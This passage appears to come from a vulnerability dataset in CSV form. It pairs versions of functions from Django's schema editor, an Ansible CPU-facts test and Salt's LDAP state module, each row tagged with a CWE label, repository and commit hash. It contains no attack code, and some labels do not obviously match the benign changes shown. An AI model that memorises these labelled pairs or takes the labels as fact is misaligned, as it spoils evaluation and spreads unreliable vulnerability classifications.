                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    continue
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                    ""type"": new_type,
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,b8a2f3c2d66aa15af4be745a576609b958a853c0,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    continue
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                    ""type"": new_type,
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,test/units/module_utils/facts/hardware/test_linux_get_cpu_info.py,1,"def test_get_cpu_info(mocker):
    module = mocker.Mock()
    inst = linux.LinuxHardware(module)

    mocker.patch('os.path.exists', return_value=False)
    mocker.patch('os.access', return_value=True)
    for test in CPU_INFO_TEST_SCENARIOS:
        mocker.patch('ansible.module_utils.facts.hardware.linux.get_file_lines', side_effect=[[], test['cpuinfo']])
        mocker.patch('os.sched_getaffinity', create=True, return_value=test['sched_getaffinity'])
        module.run_command.return_value = (0, test['nproc_out'], '')
        collected_facts = {'ansible_architecture': test['architecture']}

        assert test['expected_result'] == inst.get_cpu_facts(collected_facts=collected_facts)",CWE-703,ansible/ansible,34db57a47f875d11c4068567b9ec7ace174ec4cf,"def test_get_cpu_info(mocker):
    module = mocker.Mock()
    inst = linux.LinuxHardware(module)

    mocker.patch('os.path.exists', return_value=False)
    mocker.patch('os.access', return_value=True)
    for test in CPU_INFO_TEST_SCENARIOS:
        mocker.patch('ansible.module_utils.facts.hardware.linux.get_file_lines', side_effect=[[], test['cpuinfo']])
        collected_facts = {'ansible_architecture': test['architecture']}
        assert test['expected_result'] == inst.get_cpu_facts(collected_facts=collected_facts)"
,UNKNOWN,UNKNOWN,salt/states/ldap.py,1,"def managed(name, entries, connect_spec=None):
    """"""Ensure the existence (or not) of LDAP entries and their attributes

    Example:

    .. code-block:: yaml

        ldapi:///:
          ldap.managed:
            - connect_spec:
                bind:
                  method: sasl

            - entries:

              # make sure the entry doesn't exist
              - cn=foo,ou=users,dc=example,dc=com:
                - delete_others: True

              # make sure the entry exists with only the specified
              # attribute values
              - cn=admin,dc=example,dc=com:
                - delete_others: True
                - replace:
                    cn:
                      - admin
                    description:
                      - LDAP administrator
                    objectClass:
                      - simpleSecurityObject
                      - organizationalRole
                    userPassword:
                      - {{pillar.ldap_admin_password}}

              # make sure the entry exists, its olcRootDN attribute
              # has only the specified value, the olcRootDN attribute
              # doesn't exist, and all other attributes are ignored
              - 'olcDatabase={1}hdb,cn=config':
                - replace:
                    olcRootDN:
                      - cn=admin,dc=example,dc=com
                    # the admin entry has its own password attribute
                    olcRootPW: []

              # note the use of 'default'.  also note how you don't
              # have to use list syntax if there is only one attribute
              # value
              - cn=foo,ou=users,dc=example,dc=com:
                - delete_others: True
                - default:
                    userPassword: changeme
                    shadowLastChange: 0
                    # keep sshPublicKey if present, but don't create
                    # the attribute if it is missing
                    sshPublicKey: []
                - replace:
                    cn: foo
                    uid: foo
                    uidNumber: 1000
                    gidNumber: 1000
                    gecos: Foo Bar
                    givenName: Foo
                    sn: Bar
                    homeDirectory: /home/foo
                    loginShell: /bin/bash
                    objectClass:
                      - inetOrgPerson
                      - posixAccount
                      - top
                      - ldapPublicKey
                      - shadowAccount

    :param name:
        The URL of the LDAP server.  This is ignored if
        ``connect_spec`` is either a connection object or a dict with
        a ``'url'`` entry.

    :param entries:
        A description of the desired state of zero or more LDAP
        entries.

        ``entries`` is an iterable of dicts.  Each of these dict's
        keys are the distinguished names (DNs) of LDAP entries to
        manage.  Each of these dicts is processed in order.  A later
        dict can reference an LDAP entry that was already mentioned in
        an earlier dict, which makes it possible for later dicts to
        enhance or alter the desired state of an LDAP entry.

        The DNs are mapped to a description of the LDAP entry's
        desired state.  These LDAP entry descriptions are themselves
        iterables of dicts.  Each dict in the iterable is processed in
        order.  They contain directives controlling the entry's state.
        The key names the directive type and the value is state
        information for the directive.  The specific structure of the
        state information depends on the directive type.

        The structure of ``entries`` looks like this::

            [{dn1: [{directive1: directive1_state,
                     directive2: directive2_state},
                    {directive3: directive3_state}],
              dn2: [{directive4: directive4_state,
                     directive5: directive5_state}]},
             {dn3: [{directive6: directive6_state}]}]

        These are the directives:

        * ``'delete_others'``
            Boolean indicating whether to delete attributes not
            mentioned in this dict or any of the other directive
            dicts for this DN.  Defaults to ``False``.

            If you don't want to delete an attribute if present, but
            you also don't want to add it if it is missing or modify
            it if it is present, you can use either the ``'default'``
            directive or the ``'add'`` directive with an empty value
            list.

        * ``'default'``
            A dict mapping an attribute name to an iterable of default
            values for that attribute.  If the attribute already
            exists, it is left alone.  If not, it is created using the
            given list of values.

            An empty value list is useful when you don't want to
            create an attribute if it is missing but you do want to
            preserve it if the ``'delete_others'`` key is ``True``.

        * ``'add'``
            Attribute values to add to the entry.  This is a dict
            mapping an attribute name to an iterable of values to add.

            An empty value list is useful when you don't want to
            create an attribute if it is missing but you do want to
            preserve it if the ``'delete_others'`` key is ``True``.

        * ``'delete'``
            Attribute values to remove from the entry.  This is a dict
            mapping an attribute name to an iterable of values to
            delete from the attribute.  If the iterable is empty, all
            of the attribute's values are deleted.

        * ``'replace'``
            Attributes to replace.  This is a dict mapping an
            attribute name to an iterable of values.  Any existing
            values for the attribute are deleted, then the given
            values are added.  The iterable may be empty.

        In the above directives, the iterables of attribute values may
        instead be ``None``, in which case an empty list is used, or a
        scalar such as a string or number, in which case a new list
        containing the scalar is used.

        Note that if all attribute values are removed from an entry,
        the entire entry is deleted.

    :param connect_spec:
        See the description of the ``connect_spec`` parameter of the
        :py:func:`ldap3.connect <salt.modules.ldap3.connect>` function
        in the :py:mod:`ldap3 <salt.modules.ldap3>` execution module.
        If this is a dict and the ``'url'`` entry is not specified,
        the ``'url'`` entry is set to the value of the ``name``
        parameter.

    :returns:
        A dict with the following keys:

        * ``'name'``
            This is the same object passed to the ``name`` parameter.

        * ``'changes'``
            This is a dict describing the changes made (or, in test
            mode, the changes that would have been attempted).  If no
            changes were made (or no changes would have been
            attempted), then this dict is empty.  Only successful
            changes are included.

            Each key is a DN of an entry that was changed (or would
            have been changed).  Entries that were not changed (or
            would not have been changed) are not included.  The value
            is a dict with two keys:

            * ``'old'``
                The state of the entry before modification.  If the
                entry did not previously exist, this key maps to
                ``None``.  Otherwise, the value is a dict mapping each
                of the old entry's attributes to a list of its values
                before any modifications were made.  Unchanged
                attributes are excluded from this dict.

            * ``'new'``
                The state of the entry after modification.  If the
                entry was deleted, this key maps to ``None``.
                Otherwise, the value is a dict mapping each of the
                entry's attributes to a list of its values after the
                modifications were made.  Unchanged attributes are
                excluded from this dict.

            Example ``'changes'`` dict where a new entry was created
            with a single attribute containing two values::

                {'dn1': {'old': None,
                         'new': {'attr1': ['val1', 'val2']}}}

            Example ``'changes'`` dict where a new attribute was added
            to an existing entry::

                {'dn1': {'old': {},
                         'new': {'attr2': ['val3']}}}

        * ``'result'``
            One of the following values:

            * ``True`` if no changes were necessary or if all changes
              were applied successfully.
            * ``False`` if at least one change was unable to be applied.
            * ``None`` if changes would be applied but it is in test
              mode.
    """"""
    if connect_spec is None:
        connect_spec = {}
    try:
        connect_spec.setdefault(""url"", name)
    except AttributeError:
        # already a connection object
        pass

    connect = __salt__[""ldap3.connect""]

    # hack to get at the ldap3 module to access the ldap3.LDAPError
    # exception class.  https://github.com/saltstack/salt/issues/27578
    ldap3 = inspect.getmodule(connect)

    with connect(connect_spec) as l:

        old, new = _process_entries(l, entries)

        # collect all of the affected entries (only the key is
        # important in this dict; would have used an OrderedSet if
        # there was one)
        dn_set = OrderedDict()
        dn_set.update(old)
        dn_set.update(new)

        # do some cleanup
        dn_to_delete = set()
        for dn in dn_set:
            o = old.get(dn, {})
            n = new.get(dn, {})
            for x in o, n:
                to_delete = set()
                for attr, vals in x.items():
                    if not vals:
                        # clean out empty attribute lists
                        to_delete.add(attr)
                for attr in to_delete:
                    del x[attr]
            if o == n:
                # clean out unchanged entries
                dn_to_delete.add(dn)
        for dn in dn_to_delete:
            for x in old, new:
                x.pop(dn, None)
            del dn_set[dn]

        ret = {
            ""name"": name,
            ""changes"": {},
            ""result"": None,
            ""comment"": """",
        }

        if old == new:
            ret[""comment""] = ""LDAP entries already set""
            ret[""result""] = True
            return ret

        if __opts__[""test""]:
            ret[""comment""] = ""Would change LDAP entries""
            changed_old = old
            changed_new = new
            success_dn_set = dn_set
        else:
            # execute the changes
            changed_old = OrderedDict()
            changed_new = OrderedDict()
            # assume success; these will be changed on error
            ret[""result""] = True
            ret[""comment""] = ""Successfully updated LDAP entries""
            errs = []
            success_dn_set = OrderedDict()
            for dn in dn_set:
                o = old.get(dn, {})
                n = new.get(dn, {})

                try:
                    # perform the operation
                    if o:
                        if n:
                            op = ""modify""
                            assert o != n
                            __salt__[""ldap3.change""](l, dn, o, n)
                        else:
                            op = ""delete""
                            __salt__[""ldap3.delete""](l, dn)
                    else:
                        op = ""add""
                        assert n
                        __salt__[""ldap3.add""](l, dn, n)

                    # update these after the op in case an exception
                    # is raised
                    changed_old[dn] = o
                    changed_new[dn] = n
                    success_dn_set[dn] = True
                except ldap3.LDAPError as err:
                    log.exception(""failed to %s entry %s (%s)"", op, dn, err)
                    errs.append((op, dn, err))
                    continue

            if errs:
                ret[""result""] = False
                ret[""comment""] = ""failed to "" + "", "".join(
                    (
                        op + "" entry "" + dn + ""("" + err.items() + "")""
                        for op, dn, err in errs
                    )
                )

    # set ret['changes'].  filter out any unchanged attributes, and
    # convert the value sets to lists before returning them to the
    # user (sorted for easier comparisons)
    for dn in success_dn_set:
        o = changed_old.get(dn, {})
        n = changed_new.get(dn, {})
        changes = {}
        ret[""changes""][dn] = changes
        for x, xn in ((o, ""old""), (n, ""new"")):
            if not x:
                changes[xn] = None
                continue
            changes[xn] = {
                attr: sorted(vals)
                for attr, vals in x.items()
                if o.get(attr, ()) != n.get(attr, ())
            }

    return ret",CWE-703,saltstack/salt,7524217b28a23805a5e4df25cb553625af05cf23,"def managed(name, entries, connect_spec=None):
    """"""Ensure the existence (or not) of LDAP entries and their attributes

    Example:

    .. code-block:: yaml

        ldapi:///:
          ldap.managed:
            - connect_spec:
                bind:
                  method: sasl

            - entries:

              # make sure the entry doesn't exist
              - cn=foo,ou=users,dc=example,dc=com:
                - delete_others: True

              # make sure the entry exists with only the specified
              # attribute values
              - cn=admin,dc=example,dc=com:
                - delete_others: True
                - replace:
                    cn:
                      - admin
                    description:
                      - LDAP administrator
                    objectClass:
                      - simpleSecurityObject
                      - organizationalRole
                    userPassword:
                      - {{pillar.ldap_admin_password}}

              # make sure the entry exists, its olcRootDN attribute
              # has only the specified value, the olcRootDN attribute
              # doesn't exist, and all other attributes are ignored
              - 'olcDatabase={1}hdb,cn=config':
                - replace:
                    olcRootDN:
                      - cn=admin,dc=example,dc=com
                    # the admin entry has its own password attribute
                    olcRootPW: []

              # note the use of 'default'.  also note how you don't
              # have to use list syntax if there is only one attribute
              # value
              - cn=foo,ou=users,dc=example,dc=com:
                - delete_others: True
                - default:
                    userPassword: changeme
                    shadowLastChange: 0
                    # keep sshPublicKey if present, but don't create
                    # the attribute if it is missing
                    sshPublicKey: []
                - replace:
                    cn: foo
                    uid: foo
                    uidNumber: 1000
                    gidNumber: 1000
                    gecos: Foo Bar
                    givenName: Foo
                    sn: Bar
                    homeDirectory: /home/foo
                    loginShell: /bin/bash
                    objectClass:
                      - inetOrgPerson
                      - posixAccount
                      - top
                      - ldapPublicKey
                      - shadowAccount

    :param name:
        The URL of the LDAP server.  This is ignored if
        ``connect_spec`` is either a connection object or a dict with
        a ``'url'`` entry.

    :param entries:
        A description of the desired state of zero or more LDAP
        entries.

        ``entries`` is an iterable of dicts.  Each of these dict's
        keys are the distinguished names (DNs) of LDAP entries to
        manage.  Each of these dicts is processed in order.  A later
        dict can reference an LDAP entry that was already mentioned in
        an earlier dict, which makes it possible for later dicts to
        enhance or alter the desired state of an LDAP entry.

        The DNs are mapped to a description of the LDAP entry's
        desired state.  These LDAP entry descriptions are themselves
        iterables of dicts.  Each dict in the iterable is processed in
        order.  They contain directives controlling the entry's state.
        The key names the directive type and the value is state
